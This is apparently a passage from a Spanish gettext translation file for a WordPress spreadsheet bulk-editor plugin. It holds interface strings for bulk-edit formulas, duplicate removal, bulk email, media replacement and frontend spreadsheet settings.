universal-sheet/views/export-modal.php:26 msgid "Select column..." msgstr "Selecciona la columna...." #: formulas/inc/ui.php:98 msgid "" "A column is missing? Enable it" msgstr "" "¿Falta una columna? Habilítala " #: formulas/inc/ui.php:110 msgid "Use slower execution method?" msgstr "¿Usar un método de ejecución más lento?" #: formulas/inc/ui.php:110 msgid "" "The default way uses a faster execution method, but it might not work in all " "the cases. Use this option when the default way doesn't work or doesn't " "update all the posts." msgstr "" "La forma predeterminada usa un método de ejecución más rápido, pero puede " "que no funcione en todos los casos. Usa esta opción cuando la forma " "predeterminada no funciona o no actualiza todas las filas." #: formulas/inc/ui.php:115 msgid "%s rows will be edited." msgstr "%s filas serán editadas." #: formulas/inc/ui.php:115 msgid "You can select the rows for the edit in the first option of this form." msgstr "" "Puedes seleccionar las filas a editar en la primera opción de este " "formulario." #: formulas/inc/ui.php:126 msgid "I have a database backup, Execute Now" msgstr "Tengo una copia de seguridad de la base de datos. Ejecutar Ahora" #: formulas/inc/ui.php:128 msgid "Execute Now" msgstr "Ejecutar Ahora" #: formulas/inc/ui.php:135 msgid "" "

                  1- Please backup your database before executing, the changes are not " "reversible.

                  2- Make sure the bulk edit settings are correct before " "executing.

                  " msgstr "" "

                  1- Por favor, haz una copia de seguridad de tu base de datos antes de " "ejecutar. Los cambios no son reversibles.

                  2- Asegúrate de que los " "ajustes de la edición masiva son correctos antes de ejecutar.

                  " #: formulas/inc/ui.php:137 msgid "" "Careful. The changes are not reversible. Please double check proceeding." msgstr "" "Cuidado. Los cambios no son reversibles. Por favor, comprueba nuevamente el " "procedimiento." #: formulas/inc/ui.php:144 msgid "" "The bulk edit is running. Please dont close this window until the process " "has finished." msgstr "" "El cambio masivo se está ejecutando. Por favor, no cierres esta ventana " "hasta que el proceso haya terminado." #: formulas/inc/ui.php:146 msgid "" "Tip: The formula execution is too slow? Save more posts per batch
                  Are you getting " "errors when executing the formula? Save " "less posts per batch" msgstr "" "Consejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote " #: formulas/inc/ui.php:149 universal-sheet/views/export-modal.php:78 #: universal-sheet/views/import-modal.php:227 msgid "Pause" msgstr "Pausar" #: formulas/inc/ui.php:149 wp-sheet-editor/dev/views/quick-setup.php:78 #: wp-sheet-editor/dev/views/quick-setup.php:102 msgid "Go back" msgstr "Atrás" #: formulas/inc/ui.php:151 msgid "Processing..." msgstr "Procesando..." #: formulas/inc/ui.php:187 msgid "Edit" msgstr "Editar" #: formulas/inc/ui.php:206 msgid "Remove duplicates by title (delete the latest)" msgstr "Borrar los duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:214 msgid "Remove duplicates by title (delete the oldest)" msgstr "Borrar los duplicados por título (quitar los más antiguos)" #: formulas/inc/ui.php:222 msgid "Remove duplicates with same title and content (delete the latest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "nuevos)" #: formulas/inc/ui.php:230 msgid "Remove duplicates with same title and content (delete the oldest)" msgstr "" "Borrar duplicados con el mismo título y el mismo contenido (quitar los más " "antiguos)" #: formulas/inc/ui.php:255 msgid "More options" msgstr "Más opciones" #: formulas/inc/ui.php:300 msgid "The bulk edit is missing important information, please fill the form." msgstr "" "A la edición masiva le falta información importante, por favor, completa el " "formulario." #: formulas/inc/ui.php:301 msgid "Select type of edit" msgstr "Selecciona el tipo de edición" #: formulas/inc/ui.php:302 msgid "- -" msgstr "- -" #: formulas/inc/ui.php:303 msgid "You entered an invalid formula. Please double check or contact us." msgstr "" "Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos." #: formulas/inc/ui.php:308 msgid "Remove terms from posts" msgstr "Remover términos de los posts" #: formulas/inc/ui.php:309 msgid "" "Enter one or multiple term names separated with %s or new lines. Enter the " "full hierarchy like \"Parent > Child\" to remove subcategories" msgstr "" "Ingresa uno o más términos separados por %s o uno nuevo en cada línea. " "Ingresa la jerarquía completa como \"Padre > Hijo\" para remover " "subcategorías" #: formulas/inc/ui.php:323 msgid "Add time to existing dates" msgstr "Agregar tiempo a las fechas existentes" #: formulas/inc/ui.php:324 msgid "" "Add hours, days, weeks, months, or years to the existing dates.
                  If the " "existing date is empty, we will use the current date as a base." msgstr "" "Agrega horas, días, semanas, meses, o años a las fechas existentes.
                  Si la " "fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Hours" msgstr "Horas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Days" msgstr "Días" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Weeks" msgstr "Semanas" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Months" msgstr "Meses" #: formulas/inc/ui.php:344 formulas/inc/ui.php:372 msgid "Years" msgstr "Años" #: formulas/inc/ui.php:345 formulas/inc/ui.php:373 msgid "Time unit" msgstr "Unidad de tiempo" #: formulas/inc/ui.php:351 msgid "Deduct time from existing dates" msgstr "Deducir tiempo de las fechas existentes" #: formulas/inc/ui.php:352 msgid "" "Deduct a number of hours, days, weeks, months, or years to the existing " "dates.
                  If the existing date is empty, we will use the current date as a " "base." msgstr "" "Deducir horas, días, semanas, meses, o años de las fechas existentes.
                  Si " "la fecha existente está vacía, usaremos la fecha actual como base." #: formulas/inc/ui.php:379 msgid "Math operation" msgstr "Operación matemática" #: formulas/inc/ui.php:380 msgid "" "Update existing value with the result of a math operation.
                  The result is " "rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Actualiza el valor existente con el resultado de una operación matemática." "
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, " "3,845602 se convierte en 3,85" #: formulas/inc/ui.php:392 msgid "Math formula" msgstr "Fórmula matemática" #: formulas/inc/ui.php:393 msgid "" "Example 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 " "(Set regular price - 30%)" msgstr "" "Ejemplo 1: $current_value$ + 2 * 5.
                  Ejemplo 2: $_regular_price$ * 0.7 " "(Establecer precio normal - 30%)" #: formulas/inc/ui.php:400 woocommerce/woocommerce.php:242 msgid "Decrease by percentage" msgstr "Disminuir en porcentaje" #: formulas/inc/ui.php:401 msgid "" "Decrease the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:414 formulas/inc/ui.php:435 #: woocommerce/woocommerce.php:225 msgid "Decrease by" msgstr "Disminuir en" #: formulas/inc/ui.php:415 formulas/inc/ui.php:457 msgid "Enter the percentage number." msgstr "Ingresa el número del porcentaje." #: formulas/inc/ui.php:421 msgid "Decrease by number" msgstr "Disminuir en número" #: formulas/inc/ui.php:422 msgid "" "Decrease the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Disminuye el valor existente en un número.
                  El resultado se redondea a los " "2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:436 formulas/inc/ui.php:478 formulas/inc/ui.php:596 msgid "Enter the number." msgstr "Ingresa el número." #: formulas/inc/ui.php:442 msgid "Increase by percentage" msgstr "Incrementar en porcentaje" #: formulas/inc/ui.php:443 msgid "" "Increase the existing value by a percentage.
                  The result is rounded to the " "2 nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a " "los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85" #: formulas/inc/ui.php:456 formulas/inc/ui.php:477 msgid "Increase by" msgstr "Incrementar en" #: formulas/inc/ui.php:463 msgid "Increase by number" msgstr "Incrementar en número" #: formulas/inc/ui.php:464 msgid "" "Increase the existing value by a number.
                  The result is rounded to the 2 " "nearest decimals. I.e. 3.845602 becomes 3.85" msgstr "" "Aumenta el valor existente en un número.
                  El resultado se redondea a los 2 " "decimales más cercanos. Es decir, 3.845602 se convierte en 3.85" #: formulas/inc/ui.php:484 msgid "Set value" msgstr "Establecer valor" #: formulas/inc/ui.php:485 msgid "" "Replace existing value with this value. Read more" msgstr "" "Reemplazar el valor existente por este valor. Leer más" #: formulas/inc/ui.php:499 msgid "Set random value" msgstr "Establecer valor aleatorio" #: formulas/inc/ui.php:500 msgid "" "Replace existing value with a random value from this list. Enter the values " "separated with | if you want to select from a predefined list, or enter 2 " "dates separated with > if you want to select any date from that range" msgstr "" "Reemplazar el valor existente por un valor aleatorio de esta lista. Ingresa " "los valores separándolos con | si quieres seleccionar de una lista " "predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar " "cualquier fecha de ese rango." #: formulas/inc/ui.php:518 msgid "Remove everything after some text" msgstr "Eliminar todo lo que aparece después de un texto" #: formulas/inc/ui.php:519 msgid "" "I.e. A value like \"My great title (234343)\" can become \"My great title\" " "by removing everything after \" (\"" msgstr "" "Es decir, un valor como \"Mi gran título (234343)\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que aparece después de \" (\"" #: formulas/inc/ui.php:528 msgid "Remove everything after this text" msgstr "Eliminar todo lo que aparece después de este texto" #: formulas/inc/ui.php:531 msgid "Remove the text too?" msgstr "¿Eliminar el texto también?" #: formulas/inc/ui.php:533 msgid "Yes, remove everything after the text, including the text" msgstr "" "Sí, eliminar todo lo que aparece después del texto, incluyendo el texto" #: formulas/inc/ui.php:533 msgid "No, remove everything after the text, without including the text" msgstr "" "No, eliminar todo lo que aparece después del texto, sin incluir el texto" #: formulas/inc/ui.php:539 msgid "Remove everything before some text" msgstr "Eliminar todo lo que aparece antes de un texto" #: formulas/inc/ui.php:540 msgid "" "I.e. A value like \"(234343) My great title\" can become \"My great title\" " "by removing everything before \") \"" msgstr "" "Por ejemplo, un valor como \"(234343) Mi gran título\" puede convertirse en " "\"Mi gran título\" eliminando todo lo que precede a \") \"." #: formulas/inc/ui.php:549 msgid "Remove everything before this" msgstr "Eliminar todo lo que aparece antes de esto" #: formulas/inc/ui.php:552 msgid "Remove the text from above too?" msgstr "¿Quitar también el texto de arriba?" #: formulas/inc/ui.php:560 formulas/inc/ui.php:1005 msgid "Replace" msgstr "Reemplazar" #: formulas/inc/ui.php:561 msgid "" "Replace a word, phrase, or number with a new value. Read more" msgstr "" "Reemplaza una palabra, frase o número con un nuevo valor. Leer más" #: formulas/inc/ui.php:570 formulas/inc/ui.php:1079 msgid "Replace this" msgstr "Reemplazar esto" #: formulas/inc/ui.php:574 formulas/inc/ui.php:1084 msgid "With this" msgstr "Con esto" #: formulas/inc/ui.php:580 msgid "Generate excerpt" msgstr "Generar extracto" #: formulas/inc/ui.php:581 msgid "" "If the column has a very long text, we will remove the html and shorten it " "to a number of words." msgstr "" "Si la columna tiene texto demasiado largo, borraremos el HTML y lo " "acortaremos a un número de palabras." #: formulas/inc/ui.php:595 msgid "Maximum number of words" msgstr "Número máximo de palabras" #: formulas/inc/ui.php:602 msgid "Capitalize words" msgstr "Poner en mayúsculas las palabras" #: formulas/inc/ui.php:603 msgid "" "Capitalize the first letter of every word in the field. I.e. convert \"my " "title\" into \"My Title\"." msgstr "" "Poner en mayúsculas la primera letra de cada palabra del campo. Es decir, " "convertir \"mi título\" en \"Mi Título\"." #: formulas/inc/ui.php:623 msgid "" "Remove the existing value and leave the field empty. Read more" msgstr "" "Eliminar el valor existente y dejar el campo vacío. Leer más" #: formulas/inc/ui.php:642 msgid "Remove duplicates" msgstr "Eliminar duplicados" #: formulas/inc/ui.php:643 formulas/inc/ui.php:660 msgid "" "Read " "more" msgstr "" "Leer más." "" #: formulas/inc/ui.php:651 formulas/inc/ui.php:668 msgid "Which duplicates do you want to delete?" msgstr "¿Qué duplicados quieres eliminar?" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the newest items and keep the oldest item" msgstr "Borrar los elementos nuevos y mantener el elemento más antiguo" #: formulas/inc/ui.php:653 formulas/inc/ui.php:670 msgid "Delete the old items and keep the newest item" msgstr "Borrar los elementos antiguos y mantener el elemento más reciente" #: formulas/inc/ui.php:659 msgid "Remove duplicates with same title and content" msgstr "Borrar duplicados por título (quitar los más nuevos)" #: formulas/inc/ui.php:676 msgid "Append" msgstr "Añadir al final" #: formulas/inc/ui.php:685 msgid "Enter the value to append to the existing value." msgstr "Ingresa el valor a añadir al final del valor existente." #: formulas/inc/ui.php:691 msgid "Prepend" msgstr "Añadir al inicio" #: formulas/inc/ui.php:703 msgid "Enter the value to prepend to the existing value." msgstr "Ingresa el valor para añadir al inicio del valor existente." #: formulas/inc/ui.php:709 msgid "Custom formula" msgstr "Fórmula personalizada" #: formulas/inc/ui.php:721 msgid "" "Only for advanced users. Read more." msgstr "" "Sólo para usuarios avanzados. Leer más." #: formulas/inc/ui.php:727 msgid "Send email" msgstr "Enviar correo electrónico" #: formulas/inc/ui.php:728 msgid "" "

                  Send email notifications to users in bulk, and create advanced segments " "using the advanced search.

                  For example, you can filter a spreadsheet " "of customers/users/forum users/affiliates/blog commenters by country, city, " "state, orders count, etc and send them important emails.

                  We recommend " "that you use a SMTP plugin to improve the email deliverability and take into " "account the users consent and privacy laws.

                  " msgstr "" "

                  Envía notificaciones por correo electrónico a los usuarios de forma " "masiva, y crea segmentos avanzados utilizando la búsqueda avanzada.

                  Por ejemplo, puedes filtrar una hoja de cálculo de clientes/usuarios/" "miembros de un foro/afiliados/comentaristas del blog por país, ciudad, " "estado, recuento de pedidos, etc., y enviarles correos electrónicos " "importantes.

                  Te recomendamos que utilices un plugin SMTP para mejorar " "la entrega de los correos electrónicos y tener en cuenta el consentimiento " "de los usuarios y las leyes de privacidad.

                  " #: formulas/inc/ui.php:740 msgid "Email subject" msgstr "Asunto del correo electrónico" #: formulas/inc/ui.php:740 msgid "You can use variables to insert the value of any column." msgstr "Puedes utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:747 msgid "Email message" msgstr "Mensaje del correo" #: formulas/inc/ui.php:747 msgid "" "We recommend that you create a message that looks like it was written " "personally, you should add your logo, message, and email signature. You can " "use variables to insert the value of any column." msgstr "" "Te recomendamos que crees un mensaje que parezca escrito personalmente, " "debes añadir tu logotipo, mensaje y firma de correo electrónico. Puedes " "utilizar variables para insertar el valor de cualquier columna." #: formulas/inc/ui.php:754 msgid "Reply to" msgstr "Responder a" #: formulas/inc/ui.php:754 msgid "People will reply to this email address" msgstr "Los receptores responderán a esta dirección de correo electrónico" #: formulas/inc/ui.php:757 msgid "Only send one email per email address?" msgstr "¿Sólo se puede enviar un correo electrónico por dirección?" #: formulas/inc/ui.php:757 msgid "" "One email per user means that if 3 rows have the same email address, only " "one row will trigger an email and the others will be skipped. One email per " "row means that if 3 rows have the same email address, we'll send 3 emails to " "the same address (one per row)." msgstr "" "Un correo electrónico por usuario significa que si 3 filas tienen la misma " "dirección de correo electrónico, sólo una fila activará un correo " "electrónico y las demás se omitirán. Un correo electrónico por fila " "significa que si 3 filas tienen la misma dirección de correo electrónico, " "enviaremos 3 correos electrónicos a la misma dirección (uno por fila)." #: formulas/inc/ui.php:759 msgid "Send one email per user" msgstr "Enviar un correo electrónico por usuario" #: formulas/inc/ui.php:759 msgid "Send one email per row" msgstr "Enviar un correo electrónico por fila" #: formulas/inc/ui.php:765 msgid "PHP Function" msgstr "Función PHP" #: formulas/inc/ui.php:777 msgid "" "For advanced users. Enter the name of your PHP function and we will pass 2 " "parameters: $current_data (string with current value of the column) and " "$row_id, the function must accept the 2 parameters and return the modified " "value as a string. We will automatically save it if the value changed. Read more." msgstr "" "Para usuarios avanzados. Ingresa el nombre de tu función PHP y pasaremos 2 " "parámetros: $current_data (string con el valor actual de la celda) y " "$row_id, la función debe aceptar los 2 parámetros y devolver el valor " "modificado para guardar como string. Automáticamente guardaremos si el valor " "devuelto cambió. Leer más." #: formulas/inc/ui.php:783 msgid "Copy from other columns" msgstr "Copiar de otras columnas" #: formulas/inc/ui.php:788 msgid "" "Copy the value of other fields into this field.
                  Example, copy \"sale " "price\" into the \"regular price\" field." msgstr "" "Copiar el valor de otros campos en este campo.
                  Ejemplo, copiar \"precio " "rebajado\" al campo \"precio normal\"." #: formulas/inc/ui.php:799 msgid "Copy from this column" msgstr "Copiar de esta columna" #: formulas/inc/ui.php:875 msgid "We will replace the existing media file(s) with these file(s)." msgstr "" "Reemplazaremos el/los archivo(s) multimedia existentes con este/estos " "archivo(s)." #: formulas/inc/ui.php:886 formulas/inc/ui.php:911 formulas/inc/ui.php:936 msgid "Upload the files" msgstr "Subir los archivos" #: formulas/inc/ui.php:893 formulas/inc/ui.php:918 formulas/inc/ui.php:943 msgid "File URLs" msgstr "URLs de archivos" #: formulas/inc/ui.php:894 formulas/inc/ui.php:919 formulas/inc/ui.php:944 msgid "Enter the URLs separated by commas. They can be from your own site." msgstr "Ingresa las URL separadas por comas. Pueden ser de tu propio sitio." #: formulas/inc/ui.php:900 msgid "We will prepend the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "multimedia existente(s)." #: formulas/inc/ui.php:925 msgid "We will append the new file(s) to the existing media file(s)." msgstr "" "Añadiremos el/los nuevo(s) archivo(s) al final del/de los archivo(s) " "existente(s)." #: formulas/inc/ui.php:950 formulas/inc/ui.php:1006 msgid "Replace a media file with other file" msgstr "Reemplazar un archivo multimedia por otro archivo" #: formulas/inc/ui.php:959 msgid "Replace these files" msgstr "Reemplazar estos archivos" #: formulas/inc/ui.php:960 formulas/inc/ui.php:968 msgid "Enter the URLs separated by commas. They must be from your own site." msgstr "Ingresa las URL separadas por comas. Deben ser de tu propio sitio." #: formulas/inc/ui.php:967 msgid "With these files" msgstr "Con estos archivos" #: formulas/inc/ui.php:980 msgid "We will replace the existing media file with this file." msgstr "Reemplazaremos el archivo multimedia existente con este archivo." #: formulas/inc/ui.php:991 msgid "Upload the file" msgstr "Subir el archivo" #: formulas/inc/ui.php:999 msgid "" "Enter the URL. It can be an URL from your own site (Example http://site.com/" "wp-content/uploads/2016/01/file.jpg) or an external URL." msgstr "" "Ingresa la URL. Puede ser una URL de tu propio sitio (Ejemplo http://sitio." "com/wp-content/uploads/2016/01/file.jpg) o una URL externa." #: formulas/inc/ui.php:1015 msgid "Replace this file" msgstr "Reemplazar este archivo" #: formulas/inc/ui.php:1016 formulas/inc/ui.php:1024 msgid "" "Enter the URL. It must be an URL from your own site. Example: http://site." "com/wp-content/uploads/2016/01/file.jpg" msgstr "" "Ingresa la URL. Debe ser una URL de tu propio sitio. Ejemplo: http://sitio." "com/wp-content/uploads/2016/01/file.jpg" #: formulas/inc/ui.php:1023 msgid "With this file" msgstr "Con este archivo" #: formulas/inc/ui.php:1062 msgid "We will replace the existing terms with these terms." msgstr "Sustituiremos los términos existentes por estos términos." #: formulas/inc/ui.php:1067 msgid "" "Enter the new terms separated by %s . You can add hierarchy like parent > " "child > child" msgstr "" "Ingresa los nuevos términos separados por %s. Puedes agregar jerarquía como " "padre > hijo > hijo" #: formulas/inc/ui.php:1073 msgid "" "Replace some term(s) with new term(s). Read more" msgstr "" "Reemplazar algún/algunos término(s) con término(s) nuevo(s). Leer más" #: formulas/inc/ui.php:1080 formulas/inc/ui.php:1085 msgid "You must enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: formulas/inc/ui.php:1095 msgid "Terms" msgstr "Términos" #: formulas/inc/ui.php:1096 msgid "Enter the full hierarchy like parent > child" msgstr "Debes ingresar la jerarquía completa como padre > hijo" #: frontend-sheet/frontend-sheet.php:74 #: wp-sheet-editor/dev/inc/teasers/frontend.php:56 msgid "Frontend Spreadsheets" msgstr "Hojas de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:79 msgid "Login message" msgstr "Mensaje de inicio de sesión" #: frontend-sheet/frontend-sheet.php:80 msgid "You need to login to view this page." msgstr "Necesitas iniciar sesión para ver esta página." #: frontend-sheet/frontend-sheet.php:81 msgid "" "This will be displayed when the current user is not logged in and tries to " "see a spreadsheet page. We will display a login form after your message." msgstr "" "Esto se mostrará cuando el usuario actual no esté conectado e intente ver " "una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión " "después del mensaje." #: frontend-sheet/frontend-sheet.php:86 msgid "Hide admin bar on the frontend" msgstr "Ocultar la barra de administración en el frontend" #: frontend-sheet/frontend-sheet.php:87 msgid "" "By default WordPress shows a black bar at the top of the page when a logged " "in user views a frontend page. The bar lets you access the wp-admin, log " "out, edit the current page, etc. If you enable this option we will hide that " "bar and you can use the shortcode: [vg_display_logout_link] to display the " "logout link." msgstr "" "Por defecto, WordPress muestra una barra negra en la parte superior de la " "página cuando un usuario que ha iniciado sesión ve una página del frontend. " "La barra te permite acceder a wp-admin, cerrar sesión, editar la página " "actual, etc. Si habilitas esta opción, ocultaremos esa barra y podrás usar " "el código abreviado: [vg_display_logout_link] para mostrar el enlace de " "cierre de sesión." #: frontend-sheet/frontend-sheet.php:94 msgid "Logo" msgstr "Logo" #: frontend-sheet/frontend-sheet.php:95 msgid "This logo will be displayed above the spreadsheet in the frontend" msgstr "Este logotipo se mostrará encima de la hoja de cálculo en el frontend" #: frontend-sheet/frontend-sheet.php:100 msgid "Menu" msgstr "Menú" #: frontend-sheet/frontend-sheet.php:101 msgid "" "This menu will be displayed at the top right section above the spreadsheet." msgstr "" "Este menú se mostrará en la parte superior derecha de la hoja de cálculo." #: frontend-sheet/frontend-sheet.php:107 msgid "Main Color" msgstr "Color principal" #: frontend-sheet/frontend-sheet.php:108 msgid "This color will be used as background for the header and footer." msgstr "" "Este color se utilizará como fondo para el encabezado y el pie de página." #: frontend-sheet/frontend-sheet.php:115 msgid "Links Color" msgstr "Color de los enlaces" #: frontend-sheet/frontend-sheet.php:116 msgid "" "This color will be used for the menu links, it should be the opposite of the " "background color. i.e. dark background with light text, or light background " "with dark text" msgstr "" "Este color se utilizará para los enlaces del menú, debe ser el opuesto del " "color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con " "texto oscuro" #: frontend-sheet/frontend-sheet.php:213 msgid "Posts" msgstr "Entradas" #: frontend-sheet/frontend-sheet.php:214 msgid "Pages" msgstr "Páginas" #: frontend-sheet/frontend-sheet.php:244 msgid "Quick settings" msgstr "Ajustes rápidos" #: frontend-sheet/frontend-sheet.php:342 #: frontend-sheet/views/backend/metabox.php:48 #: frontend-sheet/views/backend/metabox.php:94 msgid "" " (Premium. Try for Free for 7 Days)" msgstr "" " (Premium. Probar Gratis por 7 Días " ")" #: frontend-sheet/frontend-sheet.php:416 msgctxt "Post Type General Name" msgid "Spreadsheets" msgstr "Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:417 msgctxt "Post Type Singular Name" msgid "Spreadsheet" msgstr "Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:418 frontend-sheet/frontend-sheet.php:445 msgid "Frontend Sheet" msgstr "Hoja de Cálculo Frontend" #: frontend-sheet/frontend-sheet.php:419 msgid "Post Type" msgstr "Post type" #: frontend-sheet/frontend-sheet.php:420 msgid "Spreadsheet Archives" msgstr "Archivos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:421 msgid "Spreadsheet Attributes" msgstr "Atributos de la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:422 msgid "Parent Spreadsheet:" msgstr "Hoja de Cálculo Padre:" #: frontend-sheet/frontend-sheet.php:423 msgid "All Spreadsheets" msgstr "Todas las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:424 msgid "Add New Spreadsheet" msgstr "Agregar Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:425 msgid "Add New" msgstr "Añadir Nuevo" #: frontend-sheet/frontend-sheet.php:426 msgid "New Spreadsheet" msgstr "Nueva Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:427 msgid "Edit settings" msgstr "Editar ajustes" #: frontend-sheet/frontend-sheet.php:428 msgid "Update settings" msgstr "Actualizar ajustes" #: frontend-sheet/frontend-sheet.php:429 msgid "View Spreadsheet" msgstr "Ver la Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:430 msgid "View Spreadsheets" msgstr "Ver las Hojas de Cálculo" #: frontend-sheet/frontend-sheet.php:431 msgid "Search Spreadsheet" msgstr "Buscar Hoja de Cálculo" #: frontend-sheet/frontend-sheet.php:432 msgid "Not found" msgstr "No encontrado" #: frontend-sheet/frontend-sheet.php:433 msgid "Not found in Trash" msgstr "No se encontró en la Papelera" #: frontend-sheet/frontend-sheet.php:434 #: wp-sheet-editor/dev/inc/api/bootstrap.php:791 msgid "Featured Image" msgstr "Imagen Destacada" #: frontend-sheet/frontend-sheet.php:435 msgid "Set featured image" msgstr "Establecer imagen destacada" #: frontend-sheet/frontend-sheet.php:436 msgid "Remove featured image" msgstr "Eliminar imagen destacada" #: frontend-sheet/frontend-sheet.php:437 msgid "Use as featured image" msgstr "Usar como imagen destacada" #: frontend-sheet/frontend-sheet.php:438 msgid "Insert into item" msgstr "Insertar en el elemento" #: frontend-sheet/frontend-sheet.php:439 msgid "Uploaded to this item" msgstr "Subido a este elemento" #: frontend-sheet/frontend-sheet.php:440 msgid "Spreadsheets list" msgstr "Lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:441 msgid "Spreadsheets list navigation" msgstr "Navegación por la lista de hojas de cálculo" #: frontend-sheet/frontend-sheet.php:442 msgid "Filter items list" msgstr "Filtrar elementos de la lista" #: frontend-sheet/views/backend/metabox.php:6 msgid "Need help?" msgstr "¿Necesitas ayuda?" #: frontend-sheet/views/backend/metabox.php:7 msgid "Watch tutorial" msgstr "Ver tutorial" #: frontend-sheet/views/backend/metabox.php:14 msgid "What information do you want to edit on the frontend?" msgstr "¿Qué información quieres editar en el frontend?" #: frontend-sheet/views/backend/metabox.php:32 #: frontend-sheet/views/backend/metabox.php:89 #: frontend-sheet/views/backend/metabox.php:113 #: wp-sheet-editor/dev/views/editor-page.php:288 #: wp-sheet-editor/dev/views/editor-page.php:331 msgid "Save changes" msgstr "Guardar cambios" #: frontend-sheet/views/backend/metabox.php:38 msgid "" "Please select the post type and save changes. After you save changes you " "will be able to see the rest of the settings and instructions." msgstr "" "Por favor, selecciona el post type y guarda los cambios. Después de guardar " "los cambios, podrás ver el resto de los ajustes e instrucciones." #: frontend-sheet/views/backend/metabox.php:52 msgid "Setup page in the frontend" msgstr "Configurar página en el frontend" #: frontend-sheet/views/backend/metabox.php:54 msgid "" "You need to set a logo in the settings page. Optionally you can change the " "background color, links color, and set a header menu." msgstr "" "Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, " "puedes cambiar el color de fondo, el color de los enlaces y establecer un " "menú de navegación de la cabecera." #: frontend-sheet/views/backend/metabox.php:60 msgid "Open Settings Page" msgstr "Abrir la Página de Ajustes" #: frontend-sheet/views/backend/metabox.php:62 msgid "Preview Frontend Editor" msgstr "Previsualizar el Editor Frontend" #: frontend-sheet/views/backend/metabox.php:64 msgid "" "When you finish this step you can start using the frontend editor. You can " "add the frontend page to a menu or share the link with your users." msgstr "" "Cuando termines este paso puedes empezar a usar el editor frontend. Puedes " "añadir la página frontend a un menú o compartir el enlace con tus usuarios." #: frontend-sheet/views/backend/metabox.php:67 msgid "Available tools (optional)" msgstr "Herramientas disponibles (opcional)" #: frontend-sheet/views/backend/metabox.php:69 msgid "Tools located above the table." msgstr "Herramientas sobre la tabla." #: frontend-sheet/views/backend/metabox.php:91 msgid "Columns visibility and Custom Fields (optional)" msgstr "Visibilidad de las columnas y los Campos Personalizados (opcional)" #: frontend-sheet/views/backend/metabox.php:108 msgid "" "Allow your Users to Edit Custom Fields, Add new columns to the editor, " "Enable fields, disable core fields, and sort fields. You can customize the " "frontend editor completely." msgstr "" "Permitir a los usuarios editar campos personalizados, añadir nuevas columnas " "al editor, habilitar campos, deshabilitar campos principales y ordenar los " "campos. Puedes personalizar completamente el editor frontend." #: frontend-sheet/views/backend/metabox.php:117 msgid "Security and user roles (optional)" msgstr "Seguridad y roles de usuario (opcional)" #: frontend-sheet/views/backend/metabox.php:120 msgid "" "The editor is available only for logged in users. Unknown users will see a " "login form." msgstr "" "El editor sólo está disponible para usuarios registrados. Los usuarios " "desconocidos verán un formulario de inicio de sesión." #: frontend-sheet/views/backend/metabox.php:122 msgid "User roles" msgstr "Roles de usuario" #: frontend-sheet/views/backend/metabox.php:125 msgid "Subscriber role is not allowed to use the editor." msgstr "El rol de suscriptor no está autorizado para utilizar el editor." #: frontend-sheet/views/backend/metabox.php:126 msgid "" "Contributor role can view and edit his own posts only, but he can't upload " "images." msgstr "" "El rol de colaborador sólo puede ver y editar sus propios posts, pero no " "puede subir imágenes." #: frontend-sheet/views/backend/metabox.php:127 msgid "Author role can view and edit his own posts only, he can upload images." msgstr "" "El rol de autor sólo puede ver y editar sus propios post y subir imágenes." #: frontend-sheet/views/backend/metabox.php:128 msgid "Editor role can view and edit all posts and pages." msgstr "El rol de editor puede ver y editar todos los post y páginas." #: frontend-sheet/views/backend/metabox.php:132 msgid "
                • Shop manager role can view and edit WooCommerce products.
                • " msgstr "" "
                • El rol de administrador de tienda puede ver y editar productos " "WooCommerce.
